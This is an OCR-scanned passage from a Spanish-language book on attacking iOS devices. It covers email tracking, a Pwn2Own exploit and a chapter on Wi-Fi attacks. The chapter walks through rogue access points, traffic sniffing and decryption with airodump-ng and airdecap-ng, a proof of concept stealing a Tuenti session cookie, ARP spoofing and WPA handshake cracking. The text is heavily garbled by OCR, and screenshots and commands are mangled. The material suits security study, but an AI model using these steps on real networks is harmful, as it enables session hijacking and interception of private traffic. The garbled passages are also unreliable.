cl cliente de correo Mail intente recuperar toda la informacion del mensaje, realizard una peticion
HTTP al servidor donde se enlaza la imagen. En este servidor preparado se recogera informacion
sensible como se especifica a continuacion:
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- Direccitn IP@lcde la que la viclima sc encucntra conectada, Esta direccion puede
utilizarse para geo lacalizar al usuario y averiguar su ubicacion fisica.

fersion de 108 El User-Agent informard en el servidor malicioso configurado que
version del sistema operativo de iPhone/iPad/iPod Touch se esta ejecutando, ademés de la
mmpllacmu del motor webkit.

i or de comunicaciéniiSi el cliente de correo electrénico se conecta a Internct a
I:rave: de una operadora GPRS/3G, ¢l atacanle podra conocer cudl es la compaiiia de este.
La direccidn IP que se registrard en la peticion pertenecera a un operador de comunicaciones
CONCreto.

Es realmente interesante entender como enviando un correo en formato HTML ¢ insertdndole los
limks que sc quicran. cs decir, un poca de personalizacion del correo, se puede engafiar al cliente
Mail. Cuando el cliente intente recuperar al contenido de esos /inks realizara peticiones a los sitios
del hipervinculo, con lo que se recogera informacion en un servidor preparado para ello.

Cabe destacar que se puede conseguir que un dispositive i0)S realice peticiones a un servidor de
exploifs preparado con alglin exp/oit para verificar la seguridad del terminal, por lo que esta técnica
es una vector de ataque muy interesante en el tipo client-side aiivck para (OS.

Ademads, este tipo de téeniva vy comportamiento podria ser utilizado para forzar a la vietima del
mail a realizar peticiones que puedan resultar ser ataques contra sistemas vulnerables. Por gjemplo,
realizar peticiones a variables de un sitio web que puedan ser vulnerables a SQL Injection, tal y camo
sc puede visualizar en la imagen.

:nUsersnibdincat =1 IAAAA v —k
zals Ueruivn 5. 1EBE'I'I31 £ http: /snnap.orgsncat
Llst‘enmg on @_ -8 3udey

s e Monillars5.A (iPad; U3 CP 05 4.2 1 Iike Mac 05 K3 es—es) AppleWebHBit-533.1%7.%Y (KHIN
- l:r.ka Gecko?

Accepl s /%

Aiccept—Language: es es

Accept—Encoding: gzip, deflate

viiec bivn: keep—alive

1 HIMI gjevutada por el olicnie Meil B?

Los dispositivos de Apple anteriores al iPhone 3GS no-disponen de soporte por lo que serdn
vulnerables siempre a esle tipo de ataques client-side.

10. Mobile Pwn20Own

Los exploits no abundan en ¢l mundo de los dispositivos moviles, por ello, cuande se publica alguno
se crea gran expectacién. Lixiste un mercado en el que se mueven grandes cifras econdmicas, que
buscan estos exploits para dispositivos moviles. En Amsterdam se celebra una popular competicion
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denominada Pwn2Own. En la edicién de 2012 se hablo de un exploir para iOS 6 el cual mediante
un Client side attack se podia obtener ciertos datos de interés del dispositivo de manera consistente,
Este exploit afectaba al navegador movil Safari y probablemenle lambién se encuentre en ¢l iPhaone
5

Liste exploit se saltaba el codigo firmado por Apple y la sandbox de Safari. Lo consiguieron
encadenando distintas técnicas para lograr dicho objetivo. La ¢jecucion del exploif provocaba la
ohtenciion de la libreta de direcciones, fotografias del usuario, videos que se encontrasen alojados en
el terminal, el historial de navegacion.

Este exploit podria ser utilizado para realizar un Jailbreak al dispositivo, incluso para el iPhone 3.
Los creados del exploit fucron Joost Paol y Daan Keuper. Fstos dos investigadores decidieron no
publicar el exploit v solo realizar la prueba de concepto en este evento. Ademas, decidieron borrar su
trabajo deshaciéndose del exploiz y 1a posibilidad de utilizar dicho exploit para realizar, por ¢jemplo,
el Jailbrealk. Uste hecho hace que, posiblemente, el fallo en el webkir de Safari siga existiendo, pero
el exploit que se aprovecha de dicha vulnerabilidad ya no existe.

En definitiva, no existe un gran namero de exploits piblicos que pucdan ayudar a los hackers con
menos recursos 4 realizar un pentest, pero si que existe un mercado donde estdn cotizados, v ademas,
existen hackers que tras realizar el trabajo maés dificil deciden no publicar; ni vender, dicho exploit.
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Capitulo X
Ataques en redes Wi-Fi

1.Conexion inalambrica en iOS

Los dispositivos i0S presentan varias formas de conectividad inaldmbrica, ya sca por 3G, por
Bluetaoth o por Wireless, (en adelante Wi-Fi). En este capitulo sc van a exponer los posibles ataques
que se puede realizar a un dispositivo iOS 4 travis de una conexion Hi-177.

Para comenzar se van a explicar unas nociones sobre como gestionan los._dispositivos iOS las
concxiones Wi-Fi. Si se accede al panel de Ajustes > Wi-Fi, aparece ¢l pancl de configuracion de
las redes Wi-I'i. En dicho panel se pueden realizar las tipicas tareas de configuracion y gestion de
redes, es decir:

_ Gt%mar, esactivar la conexién HWi-Ai. lo que evidentemenle permite conectarse
auna rcd Wit "i, aunque no es ese el tnico maolive para conectarse a una red inalambrica, va
que a.umenta la precision de la localizacion.

¢ visualizar la lista de redes conocidas a las que el disposilivo se conecta
dalromancamente (sin pedir confirmacion al usuario), es deeir, que una vez que el usuario se
ha conectado a una red Wi-Fi, ya sca abicrta o con contrasefia (se introdujo la contraseiia la
primera vez que se conecta a ella), esta red queda almacenada en la lista de conocidas, y a
partir de ese momento, en cuanto la red estd al alcance del dispositivo, y la conexion Wi-Fi
estd activada, el dispositivo se conectard automaticamente.

Por niltimo, existe una opcion para que el dispositivo pregunte antes de conectarse, en el
caso de que haya redes al alcance y cslas no scan conocidas.

Jeniendo en cuenta el funcionamicnto de las conexiones Hi-£7 en i0S, se puede preparar un Rogue

0 un punto de acceso falso, con ¢l nombre de una red conocida por ¢l dispositivo, de manera
se conecte autométicamente, lal y como se ha visto anteriormente. Esto da lugar a una variedad
siderable de ataques conocidos, como son el MITM o Man In The Middle, hijacking de sesion,

iffing, etcérera.
la pagina siguiente se pueden ver dos imagencs refcrentes al panel de administracion de redes
-Fiyalaconfiguracion de una de esas redes.
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Ajustes

v DLINK_Telefonica

ServicioTecnico...

Sin conexién Solaris

Orange Oftra...

|| [@] Notificaciones

Imagen 10.01: Panel de ajustes en i8S Imagen 10.02: Configuracion de lu red Wireless.

La conexion de los dispositivos y los Rogue AP

Lxiste un vector de ataque clasico, muy conocido, y que en ¢l sislema operativo (OS5 se puede
aprovechar. Este vector de ataque es el de la politica de conexidn de redes Wirefess conocidas, el
cual puede dar como resultado un ataque de tipo Man In The Middle en redes Wi-#i por medio de
un Rogue AP, simulando ser la red “habitual™ de la conexidn. Ademds, existen una serie de fallos
de implementacién en la gestion de las conexiones Wi-F1, los cuales pueden ayudar a un alacante a
oblener resultados exitosos.

Ll primer fallo que se conoce es lalista de redes conocidus. Cabe destacar que la primera caracteristica
de falta de seguridad es la no posibilidad de ver qué redes contienen Ia lista de }#i-Fi que conoce un
disposilivo i0S. Esta lista se encuentra almacenada en un fichero en la ruta /private/varfkeychains/
keychain-2.db. el cual no puede ser visualizado desde ninguna opeidn del dispositivo,

La tinica manera de eliminar una red conocida es encontrarse en el radio de csta y ¢jecutar la opeion
“olvidar esta red”. La opcidn de “Preguntar al conectar” solo hace referencia a nuevas redes y no a
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las redes ya conocidas con anlerioridad, por lo que seguira conectandose de manera aulomatica a las
redes ya conocidas.

| Preguntar al conectar

Tmagen 10:03: Opoian *Prepuniar al conectar” en las tedes Wireless.

El segunde fallo conocido es el de la politica de conexién a las redes conocidas. Este segundo fallo
de seguridad se puede explicar gjemplificando el siguiente escenario:

- Supdngase un entorno en el que un usuario ticne un alto movimicnto geografico.

- El usuario se conecta a 20 redes conocidas con asiduidad.

El sistema operativo {(JS aplica una politica LIFO, Last In Fist Out, para elegir a qué red se conecta
primero, ¢s decir, la Gltima red coneclada cs la que tiene mayor prioridad, pero en ningln caso el
usuario puede configurar dicha politica.

El tercer fallo, y el mas importante, hace referencia a la forma que tiene el dispositivo de identificar
a una red conocida. Esta politica ha ido cambiando a lo largo de diferentes versiones del sistema
operativa. En las versiones inferiores a /OS5 4.2./, ¢l reconocimiento de una red Wi-Fi sc realizaba
solamente por el 81D, es decir, inicamente por el nombre de la red. Esta situacién mostraba un gran
vector de ataque a un usuario malicioso, ya que simplemente con saber el nombre de la red a la que
¢l dispositivo sucle coneetarse, sc podria suplantar dicho punto de acceso con una red totalmente
abierta. Cuando los usuarios de i0S con versiones anteriores a la 4.2/ estuvieran en el radio de
dicha red falsa se conectarian automaticamente.

Lo realmenlte interesanic es que anie la exisleneia de las dos redes en ¢l mismo entorno [isico, cs
decir, la verdadera v la suplantada, prevalece la que tiene mds potencia de senal.

El cuarto fallo es ¢l reconocimiento de la red por nombre y descripeion, pero no por ESSID. Una
red Wi-Fi puede identificarse por el SSID (nombre), el BSSID (MAC del punto de aceeso) o cl
ESSID (Extended S5(0) que se utiliza para las redes que tienen mas de un AP que da servicio al
mismo SSID. Por esta razon si en un edificio hay diversos AP con el mismo nombre para la red Wi-
Fi, el equipo puede ir cambiando de un AP a otro sin pérdida de conexion. Si una red Wireless de
tipo intraestructura debe ser reconocida por su ESSID, sin embargo en (25, se permite conectar a
cualquicr AP gue tenga ¢l mismo SSID vy la misma configuracion de cifrado v autenticacion. Esto
s un fallo de seguridad que un usuario malintencionado puede utilizar para suplantar un punto de
acceso o Rogue AP con la misma configuracion que el real, conociendo su nombre, su configuracién
v su clave de cifrado. Cualquicr usuario concelado a la red conoce la configuracidn de esta, por lo
que puede crear el Rogue AP y esperar a que el dispositivo (S se conecte y realizar un MITM.
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PoC: Suplantacion de punto de acceso
Lin el siguiente escenario se dispone de los siguientes elementos:

- Dispositivo iOS con una version inferiora la £.2.7.
- Un punto de acceso con nombre S7ecrico v con configuracidn de cifrado WPA2-PSK.

- Unpunto de acceso que actuara de Rogue AP sin configuracion de cifrado, por lo que seré
una red de tipo abierta. El punlo de aceeso se conligurara con ¢l nombre STecnico.

El usuario del disposilivo se encuentra coneetado al punto de acceso real y trabajando con su
dispositivo sin ninglin tipo de problemas. Ll atacante tras configurar el punto de acceso se coloca en
el mismo radio de accién que el otro Access Point, por lo que existen dos dispositivos con ¢l mismo
SSID en un entorno [isico. Bl que disponga de mayor calidad de sefal serd el que disponga de la
asociacidn con el dispositivo (iOS.

Wi-Fi m
| Aulaswifilas PRl
DLINK_Talefonica - ] -r_g
Home = H‘B‘--.QT_' 7
ServicioTecnico_2011 a= \g .
;[-_f STecnica CRA>
THOWSON a0 |
Ota.. >

Imagen 10.04: Dispositivo QS conectado a una red WPAZ2.

. Como se puede conscguir que el dispositivo 1S se desasacie del punto de acceso real? Se puede
csperar a que se aleje de dicho punto de acceso v recoger la sefial o utilizar la herramienta airmon-ng
v aireplay-ng para lograr desautenticar al dispositivo del punto de acceso. Esta aceion se cstudiard
mas adelante en ¢l presente capitulo.

Tras realizar dicha accion el dispositivo iOS se conecta al punto de acceso falso, gracias a que la
version de i0S es inferior a la 4.2.1 y solo comprueba el SSID para conectarse a las redes Wireless.

| wi - Em
Seleccione una ""L-’ﬁ‘ -

[ Ausswiniss g &= :Qf-}
DLINK Telefonica = e 53@'!
Home 8= 'Q‘ |

8= B |

Tmagen 10.05: Dispositivo 1G85 conectado a un Rogue AP
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Si por otro lado ¢l dispositivo dispusiera de una version superior a la comentada anteriormente
hubria que suplantar la configuracion real del punto de acceso. En otras palabras habria que hackear
lared Wi ki o disponer de los datos mediante otra via. Si la red dispone de cifrado WEP, hackeariu
seria bastante rapido, si la red tuviera cifrado WPA habria que estudiar los distintos casos posibles,
como por ejemplo claves generadas por defecto. cifrado TKIP, compatibilidad con WPS, etcétera.

2. Sniffing

El saiffing coma tal no es sinonimo de accion maliciosa, ya que un administrador de redes puede
necesitar analizar el trafico que circula por una red. Generalmente, ¢l sniffing sin ninguna técnica
extra a realizar estuba asociado a las redes concentradas o fubs, las cuales casi han desaparecido,
pero ;Como se comporta una red Wireless?

I.as redes Wireless de tipo abierta son hubs que permiten a un usuario que sc encuentra en el radio
de accién de la red caplurar todo tipo de paquetes que circulan por ¢l aire, el cual es el medio fisico
de transmision dc la informacién entre el cliente v ¢l punto de acceso.

Las redes de tipo abierta no cifran ni protegen con ninguna capa los paguetes que circulan en el
medio fisico, por lo que un usuario malintencionado que se encuentre en el entorno fisico puecde
capturar el tréfico e interpretarlo. El usuario malintencionado puede configurar una tarjeta Wireless
en modo monitor para capturar todo el trafico que circula por el aire, con in dependencia del ntimero
de redes que se encucntren en dicho entorno fisica.

El modo monilor y el modo promiscuo son diferentes formas de actuar por parte de una tarjeta de
red. FI modo monitor solo es posible en un adaptador Wireless y permite a un usuario capturar el
trafico, va sea cifrado WEP, WPA o sin cifrado que circula ¢n ¢ aire. Tl modo promiscuo permile
capturar y analizar todo el wafico que “llega™ a la tarjeta de red, (va sea Ethernet o Wi-Fi), cuando
cl usuario ya se encuentra asociado a dicha red, es decir, cuando dispone de autoridad para estar
conectado a la misma.

Conexion a una red Wireless abierta r

Como se ha mencionado anteriormente concclarse a una red de tipo abierta tiene sus peligros por
parte de los usuarios. Existen diversas conliguraciones de este tipo de redes, como por ejemplo la de
instalar un portal cautivo para dar acceso a Internet, aunque el tréfico entre el punto de acceso y el
cliente va sin ningun tipo de cifrado. Por otro lado un atacante podria utilizar vulnerabilidades de los
dispositivos /0S, (como se ha mencionado anteriormente), para lograr que uno de estos dispositivos
se asocic a un Rogue AP.

Si se vtilizard un Kogue AP lo mas normal seria que este reparticra direecion TP, DNS v puerta de
enlace, siendo esta iltima una méquina del atacante por donde pasaria toda el trafico hacia Internet.
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Realmente no seria necesario esto, va que simplemente con el hecho de no utilizar cifrado en el
medio de transmision, ¢l rafico puede ser caplurado ¢ interpretado.

Conexion a una red Wireless de tipo WEP

Cuando la red es de tipo WEP o incluso WPA, se puede realizar el niismo procedimiento que en
¢l apartado anterior. El dnico inconvenientle que existe es gue el trafico entre el cliente y el punto
de acceso se envia cifrado. Si el usuario malintencionado emplea tiempo en conseguir la clave de
acceso a la red o. por cualquier otra razon ya la tiene, puede capturar el trafico v visualizarlo, sin
necesidad de asociarse al punto de acceso. Este hecho es interesante, ya que permite al atacante no
registrar su direccidn fisica o cualquier ofro dato en el punto de acceso.

La operativa a llevar a cabo en esta ocasién y en este escenario es la siguiente:

- Se dispone de una tarjeta Wireless en modo monitor mediante la herramienta airmon-ng.

- Una vez que se dispone de la captura en-un fichero CAP, si se visualiza se verian las
tramas 802.11 sin poder ver gué encapsulan en su interior, a diferencia de lo que ocurre en
una configuracidn de red abierta.

- Para descifrar el trafico capturado se necesita la contrasefia de la red Wireless. Para ello
sc dispone dc la herramicnla airdecap-ng, cuyo funcionamiento se expone a continuacion.

Airdecap-ng dispone de una sintaxis realmente sencilla y diferente para redes WEP o WPA. Para

cimall Para obtener el equivalente 1 ASCIT en hexadecimal se
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puede utilizar la herramienta xxd, por ejemplo, echo CIE> | xxd —p'éL resultado es la
clave en formato hexadecimal. A continuacién se 1e puede pasar a qirt d&’cap ng la clave y el fichero
CAR

Para las redes WPA, la sintaxis es la siguiente airdecap-ng —e <nombre de la red 0 SSID> -p <clave
red WPA> <fichero CAP>. Sc nceesita el handshake capturado con airodump-ng, Hay que recordar
quc cl handshake se puede conseguir en la autenticacién de un cliente con un punto de acceso.

Una vez que se dispone del archivo CAP descifrado, se puede investigar ¢l trafico en plano y obtener
informacion confidencial de la victima.

lalphagalpha-pc capfuras para ana['izarls @lrgocap NQ € wireless -p 1234557001234 capiura-oL.cap
Total number of packets read 455
Total numbzar of WFP data packets ]
Tolal number of WPA cata packets 113
Muzber of plaintext data packets g
Musber of decrypted WEP packets e
B
B

Mumber of corrupted WEP packets
Munber of decrypled WPA packets

T mﬁ%ﬂaﬁe‘fﬁcncp&w;ﬁw@w‘g, e

Ademas, con esta ienica s puede realizar un bypass ante un DHCP deshabilitado v conocer el
rango de direcciones [P valido para dicha red. .

PoC: Hijacking a tuenti en redes Wireless
En la siguiente prucha de concepto se prepara el siguiente escenario:

- Una victima con dispositivo /0§ v que se encuentre concctado a una red de tipo abierta
0 que se encuenire conectade a un Rogue AP preparado por un atacante, con configuraciénm
de red abierta.

- La aplicacion utilizada por la victima es la propia de fuenti para iOS. Esta aplicacién
manda la cookie de manera distinta a como sc realizaria por el navegador Sgfari, pero la
conkie es igual.

- Un atacante con una tarjeta Pirelessy en modo monitor v voleando lo capturado en un
fichero CAP.

A conlinuacion se pasa a detallar la prueba de concepto de un robo de sesion de fuenii, de un usuario
que accede a través de 108, teniendo en cuenta que el usuario s¢ ha conectado previamente a un
punto de acceso malicioso controlado por el atacante, o estando la red abierta o sin contraseifia, o
contrasciia WED conocida por el atacante, o en algunos casos también con WPA (sicmpre que se
conozea la clave).

Una vez que la victima se ha concetado al punto de acceso malicioso, se puede poner la tarjeta Wi-Fi
del equipo atacante en modo monitor con airmon-ng, tal y como se puede apreciar en la siguiente
imagen,
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Found 2 processes that could cause trouble.
if airodump-ng, airsplay-ng or airtun-ng stops working after
h short period of time, you may want to kill (some of) them!

PID Name

1558 dhclient3

Poie dhclient3

Process with PID 1981 (ifup) is running on interface wiand
Process with PID 2618 (dhclient3) is running on interface wlang

Interface Chipset Driver
Wlang Ralink 2573 U [ph
oni’ mn-de

sen10.07: Configurando el modo moniter de la tarjeta Wireless. 5

I'ras realizar el mencionada cambio de modo cn la tarjeta Wireless, el atacante estara en disposicion
de lanzar la aplicacion airodump-ng, con la que serd capar de ir capturando el trafice que esta
circulando por ¢l aire.

La siguiente tabla mucstra una lista con los pardmetros mds interesantes de dicha herramienta, y su
descripcion correspondiente.

Parametro Deseripcion
e Liiltra por el canal indicado, recogicndo solo paquetes de los puntos de acceso que
trabajan en el canal especificado.
wfw" Vuelea el contenido capturado en un fichero CAP.
-beacons Almacena los beacons, que por defeeto no son almacenados.
--ivs Almacena solo los IVS.

slade phﬁzﬁéﬂm:ﬁa aircdump-ng.

Fl atacante lanzard la siguiente instruccion para capturar el trafico, siempre y cuando la interfaz de
tipo manitar que haya ereado airmon-ng sea mon(:

airodump-ng —¢ “channel> -w <nombre fichero> monl).

Tras realizar esta operativa durante unos minutos, se dispone de un fichero CAP ¢l cual pucde ir
sienda analizado. Con Wireshark sc analiza dicho fichero en busca de la cookic de ruenri de la
victima, ya que recordando el escenario, la comunicacion enire ¢l punto de acceso y el dispositivo
i#7S va sin cilrar.,

Utilizando un filtro dc lipo #ilp coniains “tuenti”” && hitp contains “fuenti gse pueden filtrar
los paquetes que realmente interesan de la caplura realizada, tal y como se puede visualizar en la
siguiente imagen.
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prueba-0l.cap [Wiresl 1.8.1 (5VN Rev Unknown frem unknown}]

581 24.336952 182 = 95.131.166.181 TP | 365/PUST fapi/ HTTP/L, 1 {application/x-w-[o
81 3!.:1243& |132.168.8.2¢ 95,131.168.181 | 152' POST /fapl/ HTTP/1.1  {applicationfx- ~foi
: i i E= : {appLication/x-w-

195, . 68,181 (KTTP zzs POST ;apu H'l'_l'Ff,‘“l.I
|95 131.168.181 _HT 765 PAST fapd/ HITP/1.1 1

Gracias a esta técnica y a la configuracién del entorno es posible capturar credenciales o cookies sin
necesidad de realizar un ARP Spoofing, ya que el punto de acceso no ticne ningiin tipo de cifrado con
los clientes asociados. Para evitar dicha situacion scria recomendable utilizar un cifrado, evitando el
cifrado WEP, va que esle ¢s [Acilmente atacable.

Una ez que se ha uhtumdo la caokze c[e tuenti es_p051ble acceder a la cuenta de la victima, cuya

';D' g mw@%s@ﬁ@na[ OCM’
e %‘ ._/ |

asta
_age?l el cual Unpz‘ugm irefox quc pcrmltg

Lapmra anahzada con Wireshewrk.

Edit Cockizs [

Mombnz W sid
Contenido: ] 1t OBAAAAARRHRYA! Rovs finl n7 " 1 TIF2ASE WD
Survidon Auenlicom
Ruta: [ 7

Lrwzr parz: [7] [&mﬁ,&w&ﬁmﬂ;ﬁ:

Expua: [7] | atend of sesdinn >
[Denves ] e Lgé‘ﬁ%hﬂ‘r]

09: Confipimacion de la c

< suplantada de freinii, ‘,;
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Despuds de realizar dicha aceion con Cookies Manager+ solo hace falta recargar la pagina de fuenti
en el nav cﬂador F. 'refm ‘Bl zes - obticne aceeso d la cucnlz de la victima sm}',

MH  nide  Purfl  Mesaiss  Gonte  Videos  Jusgos

el Bosrar a Subir fotos &

e ; = SIM gratia 1GE gretie
Juzn Pablo Secondo Sigulenta pasc, sncusnira & tus amigos ?'. Consiguile agu
o b8 vistians a b gun ) -
2Amigos an MSN, Gmall o Yahoo? & i aw
Esta it tA sarm (il para muchas mas
Inwita & fus amigos
e (B8] arer amios | N o oo
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Patrocinedos | Hackng i05 [N ]
£ 15iM Gratia de Toanti Méwill Afads una ( para mencionar 5 un Emigo m

Imagen 10.10: Suplantacion de la cuenta de ruepii.

3.Man in the middle

Generalmente, la técnica de Man In The Middle es asociada por los usuarios con AR Spoofing, pero
MITM no cs solo este tipo de Wenica. Como se ha ido estudiando el MITM es posible realizarlo en
otras capas, por ejemplo mediante un Rogwe AP

aTacaﬂte pllLdL :emdll?ar L] l'rdﬁm y prmcdcr d ullllzar dicha lTlﬁ)ITIIElLIUII en su beneficio.

Los dispositivos /0S8 también pueden caer en estas técnicas de MITM comao se ha ido estudiando.
A continuacion se detallaran vias para realizar ataques del tipo MI'TM sobre los dispositivos i(5.

ARP Spoofing

Este tipo de ataques se realiza cuando el dispositivo i0S y el atacante se encuentran en la misma red,
por ejemplo, a través de una LAN, la cual dispone de utr punto de acceso inaldmbrico.

Fl ataque estd basado en cl protocolo AR, Address Resolution waﬂcu@ con el que los dispositivos
de una red conocen a los otros elementos de la misma. Se debe partir de la basc de que los dispositivos,
como cquipos, smartphones, swilches, roufers, etcétera, se comunican en una LAN a través del
nivel de enlace. Es decir, necesitan conocer las dirceeiones fisicas de los elementos de la red. El
protocolo ARP permite a los elementos de una red conocer la direccion fisica del resto. partiendo del
conocimiento de una direccion IP.

Fn resumen, Man In The Middle ¢s un alaque en el que el atacante crea la posibilidad de leer,
inyectar o modificar informacién que hay en un canal entre 2 maguinas sin que ninguna de esas
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maquinas conozea esta situacidn. Un otras palabras, un usnario con malas intenciones. se colocard
entre el equipo 1 v el equipo 2. Cuando el equipo 1 envie trafico al equipo 2. dicho trafico pasara por
¢l cquipo del atacante en primer lugar.

El protocelo ARP dispone de dos tipos de mensajes, request y rephff Un paquete request pregunta
mediante broadeast a todos los elementos de la red por la direccién fisica que tiene una direccion
IP concrela. El elemento que tenga dicha direccion IP contestara con un ARP reply indicando su
direccion fisica en la cahecera. De este modo los equipos aprenden a asociar direcciones fisicas a
direcciones IP. Si un usuario malintencionado utilizara los ARP repfy, para engafiar y envenenar
las tablas de otros elementos se podria capturar ¢l trafico que no es dirigido para dicho uswvario
malicioso.

Como ejemplo se escenifica la siguiente situacion, un atacante utilizard alguna herramienta. como
puede ser cain, eltercap o arpspoof, para llevar a cabo el arp spoofing. El atacante envenenara
las tahlas ARP de las victimas, enviando mensajes ARP “engaiiando” a los objetivos. Este tipo de
ataques se realiza en redes con switches (conmutadas), ya que en redes con Aubs no es necesario.

El estado inicial de la tabla ARP del dispositivo iOS, con direccion 1P 10.0.0.3, tiene el siguiente
aspeclo:

Direccion 1P Direccién MAC
10.0.0.1 (router) | CA:FE:CA:FE:CA:FE

Ll estado inicial de la tabla ARP del rourer, con direccion [P 10.0.0.1, tiene el siguiente aspecto:

Direccion IP | Direceién MAC
10.0.0.3 FA:BA:DA:FA:BA:DA

El atacante enviarad un par de arp reply, uno al dispositivo i0S v otro al router, con la intencion
de envenenar y falscar la informacion anlerior. Si el atacante dispone de la dircceion MAC
AABB:AA'BB:AABRB, las tablas ARP de los elementos anteriores quedardn de la forma que se
muestra a continuacion:

Dirceeion 1P Dircecion MAC
10.0.0.1 (router) | AA:BB:AABIAA:BD

El eslado inicial de la tabla ARP del router, con direccion [P 10.0.0.1, tiene el siguiente aspecto:

Direccion [P | Direccidén MAC

10.0.0.3 AABB:AA:BB:AA:BB
DL S tﬁd“&&;&m@%' ' %.»%%»«%&ET dispositivo 105 a Iniernet pasarén, mm%
cant : -,m,%gamén ytado el trafica’

c?@mpmmenendm.la?pm@&dﬁv }ﬂ*cmlﬁdsﬂmal Ldad -dei usuario.
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Algo que hay que tener en cuenta y que ha causado problemas a muchos auditores y usuarios
malintencionados ¢s ¢l comportamiento de los dispositivos méviles en general, e /OS en particular,
frenie a la téenica arp 9poaﬂng Se recomienda que se utilice una maquina fisicz para Hev%
cabo el venenamiento, va 115‘%3 suftls problemas de funcionamiento utilizando méquinas

2bo g
victuales paca o el prﬂﬂeso %

Redes abiertas o WEP

La conexion a redes de tipo abiertas o con cifrado WLP es practicamente similar. La Gnica diferencia
es el cifrado con el que se protegen los paquetes que circulan por el aire. Realmente realizar un arp
spoofing o sniffar el trafico de una de eslas dos redes, cs indiferente, ;Esta a qué es debido?

Si cl atacante se enfrenta a una red abierta, puede capturar el trafico simplemente “obscervanda”
el aire con airodump-ng, mientras que a la vez se pucde conectar al punto de acceso abierto v
realizar un MITM. El resultado es el mismo, aunque no quedan huellas de dicha accion si se realiza
capturando o suiffando el trafico del aire.

Si por el contrario el atacante se enfrenta a una red con cifrado WEP, sc puede realizar un MITM
si se dispone de la clave y se encuenlra concelado 4 la red. o bien, se puede capturar el trafico que
circula por cl aire y después utilizar airdecap-ng para descitrarlo. En ambos casos se necesita la
clave de acceso a la red Wireless, por lo que el resultado vuelve a ser ¢l mismo, aunque de nuevo con
la téenica proporcionada por airdecap-ng no quedan huellas de la accién,

Redes WPA

| Protected Ac.ceaﬁ&wrbc como una selucién temporal de la Wi-Fi Alliance para
securizar las redes Wireless una vez que quedo de manitiesto la debilidad de WEP (Wired Equivalent
Privacy). Mientras 1CEE trabajaba en el estandar IEEE 802.111, cuando salié a la luz la iWi-#
Alliance proporciond la certificacion WPA2 a todos aquellos dispositivos que cumplian con las
especificaciones marcadas por el nuevo estandar. Ambas soluciones, WPA y WPA2, soportan el
protocolo 802.1x para la autenticacion cn dmbitos cmpresariales y la autenticacion mediante clave
compartida PSR (Pre-Shared Key) gara los entornos SOHQ (Small Cffice and Home ()Zﬁ(‘éf%
dmbitos domésticos.

WPA y WPA2 se diferencian poco conceplualmente y difieren principalmente en el algoritmo de
cifrado que unplum Y\v‘lleTd:\ que W"Prkbasa el cifrado de las comunicaciones en el uso del algoritmo
1 K ity P , que estd basado ¢n RC4 al igual que WEP, WPA2

¢ C .MAC Pmtmﬂ@ hasado en AES (Advanced Encrytion bysz‘e.‘rg

La segunda i [crencia notable se encuentra en el algoritmo utilizado para controlar la Illtegrld' d
del mensaje. Mientras WPA usa una version menos elaborada para la gencracion del codigo D
(Message Integrity C’odeﬁg o codigo “Michael”, WPA2 implementa una versién mejorada de MIC.,

Para entender mejor como poder realizar un ataque a este tipo de redes, primero se ha de analizar el
proceso de asociacion de un cliente a la red Hireless. Independientemente del sisterna de scguridad



Capitulo X. Ataques en redes Wi-Fi

que se elija para la red (WEP, WPA-PSK, WPA2-PSK), cl proceso es el mismo. Este proceso tendra
dos o tres fuses dependiendo de si el punto de acceso estd emitiendo tramas “Beacon Jrame”. Si se
estin emitiendo tramas “Beacon frame™. el cliente se conecta a la red en dos fases, una primera fase
de autenticacion, que podra estar abierta o con clave compartida, y una segunda fase de asociacion.

En el caso de que no se estén emitiendo tramas “Beacon frame”, existe una fase de prueba inicial
en la que el cliente envia el ESSID de la red a la que desea conectarse. se espera a que el punto
responda, y comienza la fase de autenticacién y asociacion. A continuacion se muestran todas las
fases descritas en la siguiente captura:

Probe necissst -
== Probe responss =+ RSN IE
= COMP Moast, COMP Ucast, PSK
Open System Authentication request—— =
= Opan Sysiam Aulhenticaton response.

Ascciation requesi + RSN |IE
STA request CCMP Moast, CCMP Ucast, PSK »

~f ialion response - O
epociacion WPA2-PSK en una red sin publicacin de Bssin §

La diferencia con una red abicrta o WEP, es que el punto dc acceso y cliente negocian una politica
de seguridad a scguir, como primera fase de la autenticacién.

Este proceso es importante, ya que el cliente se conecta a la red sin que haya comenzado el proceso
de autenticacion, por lo que el trafico no esta siendo cifrado todavia, lo que
ataque de desasociacion, conocido también como Gragire fsque provocatia u

i

Este proceso de reautenticacion se realizarfa inicamente si la conexion se tratase de WPA/WPA?
empresarial, es decir, la conexién esta configurada utilizando 802.1x para la autenticacién del puerto

(Bxt ¢ tication Protocel) contra un servidor ] s (Remote Authentication
Dial-In User Ser para autenticar la conexién. En el caso de WPA/WPA2 con PSK se pasa
directamente a la fase de intercambio de claves.

En la fase de Intercambio de claves el cliente v el AP utilizan la PSK para generar una clave
llamada PN SQE: wise Master Key)s Lsta PMK es una derivada cuando el sistema es WPA/WPA2
empresarial pero es

la misma PSK en los entornos WPA/WPA2 PSK.
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Con la PMK s¢ genera una clave de cifrado para cada proceso de autenticacion de un cliente llamada
PTK que bisicamente se genera a partir de dos nimeros aleatorios, uno de ellos generado por cl
cliente y el otro por el punto de acceso que intercambian para obtener ambos 1a misma clave PTE.
Este proceso se llama 4-\ ay-Handshake.

Una vez que el cliente esté autenticado, el protocolo TKIP utiliza 6 claves de cifrado por L&dd sesiom,
4 de ellas son utilizadas para comunicaciones 'y 2 para comunicacione: m@ulmas% Lstas
claves son unicas por cliente y sesion y se cambian penodl{‘ament\ ﬁﬁwmes«se generan a\parﬁi‘
de derivadas de las direcciones MAC, ESSID y la PTK.

;Cémo puede ser vulnerada la red WPA/WPA2 PSK? Un alacante que se quiera vulnerar una red
WPA-PSK va a tralar de capturar ese intercambio de nimeros aleatorios, para, una vez conocidos
estos, junto con el SSID y las direcciones MAC del cliente y el punto de acceso de la red obiener la
frase o secreto compartido que sc utilizo. Una vez que ¢l atacante tenga la clave compartida se podra
coneelar a la red.

;Podra el aracante acceder al trafico generado por otro usuario? En teoria no deberia poder, pucs
las claves TKIP que se generan son Gnicas y por sesion pero si ¢l atacante estd conectado a la red
y captura todo ¢l proceso de autenticacion de otro usvario podria acceder a los nimeros aleatorios
intercambiados y al poder conocer el ESSID, la PSK v la MAC del cliente y el punio de acceso,
podria generar la PTK, Con la PTK podria descubrir cuales son las claves TKIP que se intercambian
cifradas. Una vez que el atacante tiene las claves TKIP tiene acceso a todo el trafico y por tanto ST
puede acceder a los datos transmitidos. El proceso con WPA2-PSK cs similar y el atacante buscara
las claves que se inlercambian ¢n AES-CCMP.

